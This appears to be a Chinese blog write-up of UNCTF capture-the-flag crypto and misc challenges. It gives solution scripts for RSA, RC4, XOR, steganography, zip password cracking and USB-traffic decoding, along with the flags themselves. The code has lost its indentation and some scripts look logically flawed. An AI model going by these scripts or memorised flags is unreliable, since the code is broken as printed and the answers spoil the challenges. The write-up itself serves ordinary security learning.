p=libnum.gcd(pow(2,gift,n)-1,n)
q=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
flag=libnum.n2s(int(m))
print(flag)
  1. flag

UNCTF{DO_y0u_Fermat_1ittle_theOrem}

超级加倍

  1. 根据题目超级加倍想到密文长度翻了四倍,因为是数字所以可猜想为四次方,对其进行开方即可,可使用网站https://sagecell.sagemath.org/
  2. exp
1
2
3
c =364948328635256862807658970246807356738683637564484151183420122283833769442806688034764747801289594899501872549412387392353830842750341246881725380294423193634163908298756097744423833369487321345708403908358587818931161805853745707954962941881920962518131654701890269025702523666873057795301975752113492236398361724355733200822450695761
a = c^(1/4)
print(bytes.fromhex(hex(a)[2:]))
  1. flag

UNCTF{it_is_much_bigger_than_before}

Today_is_Thursday_V_me_50

  1. 逻辑
1
2
3
4
5
6
加密函数结构还是很清晰的
两层加密,第一层是通过对`unctf`进行排列后重复与message进行异或,这个过程重复四次。
这样就经过了第一层混淆
解决这一层可以通过穷举求得
第二层通过设置了一个掩码数,掩码数`key_1=TOPIC`即是本题标题`'Today_is_Thursday_V_me_50'`
解决该层也只需要将`encrypt_2`重复一遍即可
  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import random
import itertools
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
from flag import flag

name = "unctf"
key1 = b'Today_is_Thursday_V_me_50'
key1_num = bytes_to_long(key1)


def decrypt_1(message,name):
guess=[i for i in itertools.permutations(name, 5)]
for i in range(len(guess)):
res = message
n1 = ''.join(x for x in guess.pop(i))
mask = strxor(5*n1.encode(),key1)
res = strxor(mask,message)
for j in range(len(guess)):
n1 = ''.join(x for x in guess.pop(j))
mask = strxor(5*n1.encode(),key1)
res = strxor(mask,message)
for k in range(len(guess)):
n1 = ''.join(x for x in guess.pop(k))
mask = strxor(5*n1.encode(),key1)
res = strxor(mask,message)
for k in range(len(guess)):
n1 = ''.join(x for x in guess.pop(k))
mask = strxor(5*n1.encode(),key1)
res = strxor(mask,message)
if(b'unctf{' in res):
print(res)
return 0

Ezcry

  1. RC4 密码
1
2
3
4
5
6
7
8
from Crypto.Cipher import ARC4
from libnum import n2s
enc = 28215806134317522883596419220825657511411006710664649462842055320370860932420278362078094716
key = 3544952156018063160
key = n2s(key)
enc = n2s(enc)
rc4 = ARC4.new(key)
print (rc4.decrypt(enc))

MISC

magic word

  1. 解压,复制文本,0宽解码

UNCTF{We1come_new_ctfer}

syslog

  1. 下载压缩包,发现有密码,注释:好好看看压缩包, 虚拟机 binwalk -e syslog.zip 尝试分离,成功,是伪加密, 打开 sys.log搜索 flag没有,搜索 password 发现 base64加密的字符
  2. 解码cGFzc3dvcmQgaXMgVTZudTJfaTNfYjNTdA==: password is U6nu2_i3_b3St

unctf{N1_sH3_D0n9_L0g_dE!}

巨鱼

  1. 下载文件,binwalk 分析一下,有一个压缩包
  2. 有密码,再看看原图,修改图片高度,发现密码:无所谓我会出手
  3. 解压得到一个txt和压缩包,没发现什么东西,压缩包放入虚拟机binwalk,又是伪加密
  4. 得到png和pptx
  5. png中是 H6C6Cl6 尝试 别名 666 ,成功进入ppt
  6. 取消密码后,解压缩,直接能看到flag
    juyu
  7. flag

UNCTF{y0u_F1nd_1t!}

In_the_Morse_Garden

  1. 打开 pdf Ctrl+A 全选,果然有文字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
UNCTF{5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm
+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5
46b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlO
WPpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k
5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOeOm
+WNoeW3tOWNoeeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg546b5Y2h5be05Y
2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3
lj6Tmr5Tlj6Tkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg54
6b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+kIOS+neWPpOavlOW
PpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg5L6d5Y+k5q+U5Y
+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6Tnjpvlja
Hlt7TljaEg5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWN
oSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7T
ljaE=}
  1. base64解码
1
依古比古玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡依古比古依古比古依古比古 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡依古比古玛卡巴卡玛卡巴卡
  1. 根据题目联想 Morse 加密,替换 依古比古 玛卡巴卡 为 . -解码
1
.-- .- -. ..--.- .- -. ..--.- -- .- -.- .- ..--.- -... .- -.- .- .- .- .- .- -.-.--
  1. flag

UNCTF{WAN_AN_MAKA_BAKAAAAA!}

清和fan

  1. 下载,根据压缩包找到视频得到密码
    (确实好看啊!

836885_2022/05/20

  1. 解压得到png,尝试 LSB得到密码

fan

qq857488580

  1. 解压得到一个压缩包,一个wav,听一下,像是无线电,MMSTV解一下
    fan

V@mpir3

  1. 解压得到一个 txt,有零宽

unctf{wha1e_wants_a_girlfriend_like_alicia}

芝麻开门

  1. 下载得到一个 png txt里面有密码,但是在很后面,base64 解码得到 :key1
  2. 尝试 lsb 加密隐写
    zmkm
  3. flag

flag{faf5bdd5-ba3d-11da-ad31-d33d75182f1b}

社什么社

  1. 找到地点(旅游景点),flag是地点转md5,大写
    下载附件调整文本大小,发现为字符画
    sg
    没有思路决定从出题人方向下手。
    然后在必应上找到相似景点, 发现为凤凰古城, md5(凤凰古城)计算得到flag
  2. flag

UNCTF{4F0198127A45F66C07A5B1A2DDA8223C}

MY PICTURE

  1. 打开附件分析十六进制发现为zip文件
  2. 解压得到dat和flag.png
  3. flag.png为乱码图片
    my
  4. 分析dat文件的十六进制发现被加密
  5. 根据文件尾出现的0x8E推断为异或了0x8E
  6. 使用010editer内置工具进行二进制异或得到zip文件
  7. 打开得到flag.png的加密脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image as im

flag = im.open('flag.jpg','r')
l,h=flag.size
puzzle=im.new('RGB',(h,l))
print(puzzle)
for i in range(l):
for j in range(h):
r,g,b=flag.getpixel((i,j))
r=r^g
g=g^b
b=b^r
puzzle.putpixel(((i*787+j)//1200,(i*787+j)%1200),(b,g,r))
puzzle.save('flag.png')
flag.close()
puzzle.close()
  1. 写逆向脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image as im


flag = im.open("flag.png", 'r')
l, h = flag.size
puzzlz = im.new('RGB', (h, l))
for i in range(l):
for j in range(h):
r, g, b = flag.getpixel((i, j))
_r = g ^ b
_g = r ^ g
_b = r ^ b
puzzlz.putpixel(((i * 1200 + j) // 787, (i * 1200 + j) % 787), (_b, _g, _r))
puzzlz.save('flag.jpg')
flag.close()
puzzlz.close()

得到正常图片
my
9. flag

UNCTF{93bb442f-2a76-2b6f-c42f-c2297f5fdaf9}

找得到我吗

  1. 下载,直接解压,刚好看到flag
    flag

UNCTF{You_find_me!}

zhiyin

  1. 解压得到 zip png jpg
  2. 在 png 末尾发现 Morse 加密,解码得到 _unc7f!!!
  3. 观察 jpg 16进制编码,是倒序排列,写个脚本转正一下
1
2
3
4
5
6
7
8
9
with open('lanqiu.jpg', 'rb') as rb:
content = rb.read().hex()
print(len(content))
a = []
for i in range(len(content) // 2):
a.append(int(content[i*2:(i+1)*2], 16))
print(bytes(a))
with open('test.jpg', 'wb') as wb:
wb.write(bytes(a[::-1]))

zhiyin
得到密码

Go_p1ay_unc7f!!!

(这种字太阴间了,强烈建议正常打字
4. flag

flag{M1sic_1s_greAt}

拨茧抽丝

  1. 复制压缩包注释为解压密码解开
    csbj
  2. 查看1.txt文本发现存在零宽字符
    使用在线网站解密(由于编码问题不直接转换而是使用二进制解密)
    csbj
  3. 得到密码PAsS_w0rD但无法解开下一层压缩包
  4. 观察发现1.txt中的正常文本正好对应压缩包内的2.txt
  5. 手敲一遍正常文本发现crc校验值相同
    csbj
  6. 明文攻击得到三段key[ 7ae68c2a 9f92100b a5d9e0c0 ]
  7. 最后通过零宽得到的密码解开最后一层
  8. flag
    csbj

UNCTF{d4a3a242-cd32-4dd5-bac6-84bdf13f527f}

我小心海也绝非鳝类

  1. 下载得图片,图中文字
1
F#S<YIcHnAG
  1. 用工具 fuzz 一下
    xh
  2. 得到 flaginmd5,在图片16进制末尾发现 base64编码,解码得 EASYLSB, 那么 flaginmd5应该就是lsb 的密码, 解lsb
    xh
1
8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF
  1. 发现长度为 32 * 21,猜测为md5 加密单个字符,写脚本爆破
1
2
3
4
5
6
7
8
9
b = ['8FA14CDD754F91CC6554C9E71929CCE7', '2DB95E8E1A9267B7A1188556B2013B33', '0CC175B9C0F1B6A831C399E269772661', 'B2F5FF47436671B6E533D8DC3614845D', 'F95B70FDC3088560732A5AC135644506', 'F1290186A5D0B1CEAB27F4E77C0C5D68', 'E1671797C52E15F763380B45E841EC32', '2DB95E8E1A9267B7A1188556B2013B33', '4A8A08F09D37B73795649038408B5F33', 'D95679752134A2D9EB61DBD7B91C4BCC', '6F8F57715090DA2632453988D9A1501B', 'E1671797C52E15F763380B45E841EC32', 'B14A7B8059D9C055954C92674CE60032', 'E358EFA489F58062F10DD7316B65649E', 'D95679752134A2D9EB61DBD7B91C4BCC', 'B14A7B8059D9C055954C92674CE60032', '6F8F57715090DA2632453988D9A1501B', '865C0C0B4AB0E063E5CAA3387C1A8741', '03C7C0ACE395D80182DB07AE2C30F034', '4A8A08F09D37B73795649038408B5F33', 'CBB184DD8E05C9709E5DCAEDAA0495CF']
from string import printable
from hashlib import md5


for i in b:
for j in printable:
if md5(j.encode()).hexdigest().lower() == i.lower():
print(j, end='')
  1. flag

flag{welcome_to_misc}

base 家族

  1. 题解,明文攻击,bandzip 压缩
  2. 得到 flag,base64 隐写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from string import ascii_uppercase, ascii_lowercase, digits

base64_table = ascii_uppercase + ascii_lowercase + digits + '+/'


def encode(words: str) -> str: # base64 encode
strings = ''.join([bin(ord(_)).replace('0b', '').rjust(8, '0') for _ in words])
strings += '0' * ((len(strings) // 6 + 1) * 6 - len(strings)) if len(strings) % 6 != 0 else ''
return ''.join([base64_table[int(strings[6 * i: 6 * (i + 1)], 2)] for i in range(len(strings) // 6)])


def decode(base64: str) -> str: # base64 decode
strings = ''.join([bin(base64_table.index(_)).replace('0b', '').rjust(6, '0') for _ in base64])
decoded = ''.join([chr(int(strings[8 * _: 8 * (_ + 1)], 2)) for _ in range(len(strings) // 8)])
return decoded


def base_steg(base64: list) -> str: # base64 steg
steg_string, steg_msg = '', ''
for i in base64:
i = i.replace('=', '')
strings = ''.join([bin(base64_table.index(_)).replace('0b', '').rjust(6, '0') for _ in i])
steg_string += strings[(len(strings) - len(strings) // 8 * 8) * -1:] if len(strings) % 8 != 0 else ''
for i in range(len(steg_string) // 8):
cha = chr(int(steg_string[i * 8: (i + 1) * 8], 2))
steg_msg += cha if cha in base64_table else ''
return steg_msg

d = open('flag.txt', 'r').read()
print(base_steg(d.split('\n')))
  1. 得到鼠标宏 Macro.mrd,利用 macro decoder,得到 flag

数独大挑战

  1. 解数独
    sd
  2. 爆破压缩包:547312
  3. 根据 hint 提示
    sd
  4. 向上^!,将解完的数独每行作为一个数字逐行异或得到

649187915

  1. 用该数字作为des密钥解key
  2. flag
    UNCTF{shuduzhenhaowan}

峰回路转

  1. crc32 爆破得密码

P@SsW0RD

  1. 得到图片,用相同密码,slienteye 解码
    fhlz
  2. 伪加密,得到 Flag,爆破 xor
    fhlz
    fhlz
  3. flag

UNCTF{0C75726F-4609-DFA4-615F-17C7A1B7165D}

catchjerry

  1. key.py
1
2
3
4
5
6
7
8
9
10
11
normalKeys = {"00":'',"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('key.txt')
for line in keys:

if line[4:6] in normalKeys.keys():
output += normalKeys[line[4:6]]
else:
output += ['[unknown]']
keys.close()
print("".join(output))
  1. mouse.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
nums = []
keys = open('mouse.txt','r')
posx = 0
posy = 0
#输出到文件out.txt
out = open('out.txt','w')
for line in keys:
if len(line) != 17 :
continue
x = int(line[2:4],16)
y = int(line[4:6],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 :
#输出 posx posy
out.write(str(posx) + ' ' + str(posy)+'\n')
out.close()
keys.close()

#描点画图 out.txt
import matplotlib.pyplot as plt
out = open('out.txt','r')
x = []
y = []
for line in out:
x.append(int(line.split()[0]))
y.append(int(line.split()[1]))
plt.plot(x,y)
plt.show()

nanoNumber

  1. 猜测的策略如下: 前三次分别猜测 123 456 789,此时根据灯的情况,1000 个数会被分为 243 类,其中最大的一类也就 5 个数,只需要再猜 1 次即可唯一确定答案,最后在用第 5 次猜测猜中答案即可
  2. poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def guess(ans, req):
ans = list(ans)
ret = [0, 0, 0]
for x in range(3):
if ans[x] == req[x]:
ret[x] = 1
ans[x] = ''
ans = ''.join(ans)
for x in range(3):
if ret[x] == 0:
if req[x] in ans:
ans = ans.replace(req[x], '', 1)
ret[x] = 2
return ''.join([str(x) for x in ret])


C = {}

def run(ans):
g1 = guess(ans, '123')
g2 = guess(ans, '456')
g3 = guess(ans, '789')
global C
C[(g1, g2, g3)] = C.get((g1, g2, g3), []) + [ans]

for x in range(1000):
run(str(x).zfill(3))

for k in C.keys():
if len(C[k]) > 1:
for x in range(1000):
if len(set([guess(ans, str(x).zfill(3)) for ans in C[k]])) == len(C[k]):
print(k, C[k], str(x).zfill(3))
break
else:
raise Exception('No solution')

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !